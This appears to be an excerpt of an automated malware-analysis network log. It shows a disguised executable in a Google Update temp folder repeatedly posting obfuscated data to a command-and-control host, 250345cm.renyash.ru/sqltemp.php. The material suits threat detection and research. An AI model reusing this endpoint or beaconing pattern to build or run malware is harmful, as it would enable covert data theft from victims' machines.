76	192.168.2.6	62712	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:09.724282980 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1120 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:10.079206944 CET	1120	OUT	Data Raw: 56 51 5a 56 51 5f 51 52 58 56 52 59 56 59 59 5f 5b 52 54 5e 55 59 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VQZVQ_QRXVRYVYY_[RT^UYPXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-3,!Z#=3 /T ()3R>871(+%D2<+R-*&Y.,Y-
Jan 1, 2025 16:03:10.163470030 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:10.347675085 CET	813	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P90SiuH51xrS2dCqdnmeH9SsMHbK6RO9%2BCA8kdYjC0%2FEBULc6yp%2BZvlrxIozn8jc6yL7LK2QBTd5KYMwQQSuFNcpL%2FIVkSi%2B1%2FoBnU2hMAFpgVVYo9I3IQTEqv%2BT9BPdlrWMuVO3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36500398cc3f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2367&min_rtt=1498&rtt_var=2300&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1422&delivery_rate=172740&cwnd=159&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	62713	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:10.474524975 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:10.834270000 CET	1124	OUT	Data Raw: 56 53 5f 52 54 5f 54 51 58 56 52 59 56 5a 59 53 5b 5d 54 51 55 5e 50 5d 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VS_RT_TQXVRYVZYS[]TQU^P]Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.[0:7?9_0.)!#8^?=+ 24++&$.:&Y.,Y--
Jan 1, 2025 16:03:10.919001102 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:11.100461960 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=btWqKQ7iG5BPC%2BdvtxAXAbVZFmZE3Dj8jXcX6qaNbF66wJjvPh51qJyXZbrvTnNfUKw7nWTS4P97tLuDADCLaC3A6Ak%2BJnrmkDvhHwXLudHTvED2zYljCjE9h4PV9wrmyTjLL3tZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36504faaf43b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2780&min_rtt=1883&rtt_var=2501&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=161076&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	62714	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:11.235477924 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:11.594842911 CET	1124	OUT	Data Raw: 56 55 5f 52 51 5b 54 52 58 56 52 59 56 50 59 57 5b 5e 54 51 55 55 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VU_RQ[TRXVRYVPYW[^TQUUPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.0!X4<1^'(.)-V7+;)>4Z4?Z?;!&/R:&Y.,Y-
Jan 1, 2025 16:03:11.687906027 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:11.952198982 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0LfKbPG4T5AvmP7h5bVi34iWMC8wCubuxRe0Ps4Ag59p1Uh6%2Bg%2FOaCaeD2WQBEJQKEKQ90XDZN4p5zxn2WLcBiY6cyGHbIgk9O%2B8HGNKg1x7DuenvNjRc2fz0rSrPCa%2BxiI9xuOb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36509cec8c3fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1481&rtt_var=731&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=668804&cwnd=185&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	62715	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:12.080233097 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:12.438463926 CET	1124	OUT	Data Raw: 56 51 5a 50 54 5c 54 56 58 56 52 59 56 50 59 54 5b 53 54 50 55 59 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VQZPT\TVXVRYVPYT[STPUYP^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-3-X4-Y%.;9=R4/<<)/7<$?:&Y.,Y-
Jan 1, 2025 16:03:12.542864084 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:12.718910933 CET	800	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ikhhOzacAb7OZqwRWGy%2FsWeejtdu5n6zL5ClgdZFO%2FqTLlF9JZUK4MAeeEPmRH7UGxUXvMZyzXocVgc0lyOq%2FyjHODQXaTqid7a7hTjCPGcYoHmgfLDtXb93eVA7xfiiQMFbDzd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3650f1a54de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7587&min_rtt=1463&rtt_var=12797&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=28935&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a Data Ascii: 42W\X
Jan 1, 2025 16:03:12.799307108 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	62716	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:12.935436010 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:13.284388065 CET	1124	OUT	Data Raw: 53 54 5f 53 54 5a 51 51 58 56 52 59 56 5c 59 5e 5b 5f 54 59 55 54 50 54 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: ST_STZQQXVRYV\Y^[_TYUTPTZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-09[ '='B;!R7<<7$#" (+)%'W.&Y.,Y-5
Jan 1, 2025 16:03:13.379698992 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	62717	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:13.623900890 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:13.969852924 CET	1964	OUT	Data Raw: 53 50 5a 51 54 5b 54 5c 58 56 52 59 56 5a 59 55 5b 58 54 5a 55 5a 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SPZQT[T\XVRYVZYU[XTZUZPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-3/%\ <2'.3C/1U -;(:$*4 (?+A$<(::&Y.,Y--
Jan 1, 2025 16:03:14.067747116 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:14.337053061 CET	956	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6RypVyT5Tc%2Bilk0T5sAbi2Ek1Ei%2FvjN0rwaeDLZYI5LQkKcu6gYwIv9r7wifkArwXhW95K%2FmNeMT9MetH1zHM8TjsWuVr611xf4kg8mht2DCo6NINwmZBrcCw9A6%2BenXJdQPl4ZG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36518a8b30f49-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8040&min_rtt=1662&rtt_var=13380&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=27708&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 50 29 5b 21 09 26 0c 20 1e 2a 3e 27 53 27 2e 0c 10 28 5e 32 5f 30 00 0d 10 29 5f 2f 58 22 12 2d 5f 31 28 0e 58 20 3e 38 02 30 34 2b 59 05 1c 20 43 36 06 3c 59 3d 04 2f 5d 32 3f 26 00 27 07 24 5c 3c 38 37 0a 23 02 3f 1d 33 3d 37 02 29 2a 30 54 27 2f 3c 03 2e 01 3e 0e 33 00 2c 54 00 11 26 57 24 1f 19 00 37 09 3c 59 22 21 22 01 25 42 2d 0a 32 12 27 50 23 39 21 07 31 1c 09 59 21 23 08 5a 26 05 0b 11 34 3d 23 19 2a 2e 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%P)[!& >'S'.(^2_0)_/X"-_1(X >804+Y C6<Y=/]2?&'$\<87#?3=7)0T'/<.>3,T&W$7<Y"!"%B-2'P#9!1Y!#Z&4=#*.%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	62718	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:13.768203974 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:14.126076937 CET	1124	OUT	Data Raw: 56 5f 5a 57 54 5f 51 56 58 56 52 59 56 58 59 53 5b 5e 54 5b 55 59 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: V_ZWT_QVXVRYVXYS[^T[UYPYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.X'?%"/)$X(;*=#?((>=?#$(=E28:&Y.,Y-%
Jan 1, 2025 16:03:14.213042021 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:14.480444908 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sfGELreOEoHwf6YF1KF2mLrbMF4Li%2FpjxF8amBQqT%2FGZXgDEj8XuNDahZ1Jrp82CrZ124b6GFxS1eCJ9xWuLnNB%2BVzwR%2FZzZs9bqOERtU%2F84llT%2FfvE6kb54vqMHi3qaIJkTELUn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365198c6a8cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2628&min_rtt=1994&rtt_var=2016&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=206594&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	62719	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:14.614149094 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:14.982657909 CET	1124	OUT	Data Raw: 53 50 5f 5c 51 5d 54 53 58 56 52 59 56 51 59 55 5b 5d 54 5c 55 5e 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SP_\Q]TSXVRYVQYU[]T\U^PZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.3/#?Y3;-T#-Z*;W)-<7\+(&<7V.&Y.,Y-
Jan 1, 2025 16:03:15.067742109 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:15.335500956 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d2vdJ1CpB%2BvWyDNxnn83m84GBuxEmIdLVPiQ23jqSqCUmbVThQUMHMojqF%2Bv%2B7q9fRepkN2J8vT8n0tK4xq826fUwR4LmT%2Fv41DQSBIz05nhWsH30c8FREZQFbtTpXhmMu2o6OCx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3651ee874c346-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2838&min_rtt=1758&rtt_var=2820&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=140344&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	62720	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:15.455957890 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:15.813499928 CET	1124	OUT	Data Raw: 53 54 5f 51 54 5d 51 55 58 56 52 59 56 51 59 53 5b 5b 54 5a 55 59 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: ST_QT]QUXVRYVQYS[[TZUYPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-0Y"?0.7C;=4;+);T<[!2#<&?#,*&Y.,Y-
Jan 1, 2025 16:03:15.897746086 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:16.402477026 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SH39TjxRcCEXcqoejwE8W5hNigrKlJFM7yg2eVgLYKdGrAJVG2Bs1PfO6SCp4pvDOx5ApSpg%2FafP%2Bq8TdzfKIoC3oh6x8w3NPoDTW4%2B0dtQlo0s2zzncaPIwZE%2FyOuffO0ZTTptc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3652419bd8c84-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2917&min_rtt=2020&rtt_var=2552&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=158695&cwnd=174&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	62721	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:16.534173965 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:16.891745090 CET	1124	OUT	Data Raw: 53 57 5f 54 54 51 54 5c 58 56 52 59 56 5a 59 52 5b 53 54 5d 55 5c 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SW_TTQT\XVRYVZYR[ST]U\P^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S._&?)7-Y0-;E/*%7><_<'U>,#T <$/ -&Y.,Y--
Jan 1, 2025 16:03:16.987915039 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:17.252648115 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9SDhbThToMXEL5z59u%2F0r5zpYNS2eT9zSN38B%2B%2BqUpS7T47dsup%2Fz5bm5Is5CtoB9YqW%2BqlZUt5wrc%2BTGV5H0KqLILqwwvH%2F84Q3qUFyuWcFPj9N8xE0GZrmFlZtEwqnsGGAKIcB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3652aee3e0f9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4565&min_rtt=1587&rtt_var=6551&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=57455&cwnd=192&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	62722	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:17.397945881 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1112 Expect: 100-continue Connection: Keep-Alive
